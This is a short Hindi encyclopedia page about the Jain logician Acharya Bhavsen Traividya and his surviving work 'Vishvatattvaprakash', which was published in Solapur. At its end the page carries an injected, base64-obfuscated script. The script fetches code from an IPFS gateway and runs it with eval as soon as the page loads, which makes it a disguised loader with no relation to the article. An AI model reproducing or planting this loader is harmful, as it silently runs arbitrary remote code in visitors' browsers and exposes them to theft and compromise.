भावसेन त्रैविद्य
Maintenance (चर्चा | योगदान) द्वारा परिवर्तित ११:३७, ७ अगस्त २०१० का अवतरण (Text replace - '{{जैन धर्म2}}' to '{{जैन धर्म}}')
आचार्य भावसेन त्रैविद्य / Acharya Bhavsen traividh
- ये वि0 सं0 12वीं, 13वीं शताब्दी के जैन नैयायिक हैं।
- इनकी उपलब्ध एकमात्र कृति 'विश्वतत्त्वप्रकाश' है।
- इसका प्रकाशन जीवराज जैन ग्रन्थमाला, सोलापुर से हो चुका है।
- यह बृहद ग्रन्थ महत्त्वपूर्ण और बोधप्रद है।
सम्बंधित लिंक
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>